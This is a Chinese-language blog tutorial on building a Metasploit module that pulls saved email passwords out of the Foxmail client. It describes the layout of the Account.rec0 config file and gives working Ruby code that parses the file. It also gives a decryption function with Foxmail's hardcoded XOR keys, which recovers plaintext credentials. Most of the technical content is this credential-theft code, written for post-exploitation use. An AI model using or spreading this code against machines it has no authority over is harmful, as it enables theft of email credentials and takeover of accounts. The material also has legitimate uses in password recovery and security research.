编写Metasploit模块获取Foxmail邮件客户端密码

前言

  • Foxmail是张小龙开发的一款优秀国产邮件客户端软件,被腾讯收购了,使用者遍布全球。官方版本最新为7.2.18,已经不支持6.x版本的下载了,估计现在也没人安装低版本的Foxmail,所以也就没有写6.x的解密函数。但是密码的加密算法还是原来的,网上也有文章分析Foxmail的加密算法了,特别是这篇:Foxmail邮箱密取原理与方法研究非常详细。在前人的分析的基础加上GitHub上的开源项目帮助下,我在解密方面没有花太多时间,反而是在解析Foxmail的配置文件上花的时间比较多。

环境搭建

  • 在Foxmail的官网下载最新版本,安装完成后添加帐号,我测试的时候添加了QQ邮箱和163邮箱和自定义邮箱,一共三种。
  • 这是QQ邮箱的配置,可以看见邮箱的收发服务器和端口,是否开启SSL,在这并没有找到密码,而且只有当密码正确的时候才会保存到配置文件,密码被修改后不能正常连接服务器会重新弹出密码输入框,提示重新输入密码。

解读配置文件

  • Foxmail的各种信息保存在Foxmail的Storage目录中,默认为C:\Foxmail 7.2\Storage\[email_addr]\Accounts,按照用户分配目录,配置文件保存在Account.rec0文件中,这个后缀名和文件的格式应该Foxmail自己定的,没有特别的序列化函数能解析文件,可以用命令:strings Account.rec0打印所有可见字符串(图左),整个配置文件大小大概为2M,真实有用的数据大概就3.5kb,而且还是重复了4次的,所以每个帐号的信息不到1kb,即使是这样解析三个帐号的配置文件还是要十几秒,不知道是不是Ruby语言的问题还是我的代码有问题。

Untitled

  • 从上面的图片可以看到,配置文件的结构还是有一些规律的,比如:以Email为键,后面的[email protected]为值的话,可见字符之间有8个字节的小于0x80的十六进制数据填充的,所以值是字符串的偏移是9;配置文件中还有其他数据类型的,比如:端口是int型,是否开启SSL是bool型,这两个的偏移都是5,截取长度都是2。

Untitled

  • 按照上面的偏移就可以获取配置文件里面的信息了,比如:发件服务器的端口:OutgoingPort的值偏移后得到的为\xd1\x01小端存储的十六进01d1转为十进制为465

Untitled

  • 是否开启发件服务器的SSL:OutgoingSSL的值偏移后得到的为\x01\x00小端存储的十六进转为十进制为1,就是True。

解析配置文件

  • 目前有开源的密码恢复工具有 FoxmailRecovery,使用C# 编写的一个图形化工具,支持拖放,将配置文件直接拉进文本框就可以显示邮箱和密码。

Untitled

offset = 0
version = 0
if file[0] == "\xD0"
    offset = 2
else
    offset = 9
    version = 1
end
index = 0
buffer = ''
email_info = {}
while index < file.length
    if (file[index] && file[index] > "\x20" && file[index] < "\x7f" && file[index] != "\x3d")
        buffer += file[index]
        if ['Email', 'IncomingServer', 'OutgoingServer', 'Password'].include?(buffer)
            email_info[buffer] = find_string(file, index + offset) || nil
        elsif ['IncomingPort', 'OutgoingPort'].include?(buffer)
            email_info[buffer] = find_string(file, index + 5, 2) || nil
        elsif ['InComingSSL', 'OutgoingSSL'].include?(buffer)
            email_info[buffer] = find_string(file, index + 5, 2) == 1 || false
        else
            pass
        end
    else
        buffer = ''
    end
    index += 1
end
  • 暴力按字节枚举,判断当前字符是否在指定范围内,如果是就拼接到buffer,每次判断是否重要信息的键,如果是就按照偏移获取相应的值,把得到的信息保存在email_info中。
  • 按照偏移获取值的代码
def find_string(file, offset, length = 0)
    result_string = ''
    if length == 0
        while (file[offset] > "\x20" && file[offset] < "\x7f")
            result_string << file[offset]
            offset += 1
        end
        return result_string
    elsif offset && length != 0
        return file[offset, length].unpack1('S!*') # port or ssl
    else
        return nil
    end
end

解密算法

def foxmail_crypto(version, ciphertext)
    miag_crypt = '~draGon~'
    v7_miag_crypt = '~F@7%m$~'
    fc0 = '5A'.to_i(16)
    if version == 1
        miag_crypt = v7_miag_crypt.unpack('c*')
        fc0 = '71'.to_i(16)
    end
    size = ciphertext.length / 2
    index = 0
    b = []
    (0..size).step(1) do |i|
        b[i] = ciphertext[index, 2].to_i(16)
        index += 2
    end
    b = b[0..-2]
    cc = []
    cc[0] = b[0] ^ fc0
    cc[1..-1] = b[1..-1]
    while miag_crypt.length < b.length
        new_miag_crypt = miag_crypt * 2
        miag_crypt = new_miag_crypt
    end
    d = []
    (1..b.length).each do |i|
        d[i - 1] = b[i] ^ miag_crypt[i - 1]
    end
    d[-1] = 0
    e = []
    (0..d.length - 1).each do |i|
        if (d[i] - cc[i] < 0)
            e[i] = d[i] + 255 - cc[i]
        else
            e[i] = d[i] - cc[i]
        end
    end
    e = e[0..-2]
    # require 'pry'; binding.pry
    return e.pack('C*')
end

使用演示

Untitled

参考:

https://wenku.baidu.com/view/1fcaf49cda38376baf1faeff#

https://github.com/jacobsoo/FoxmailRecovery/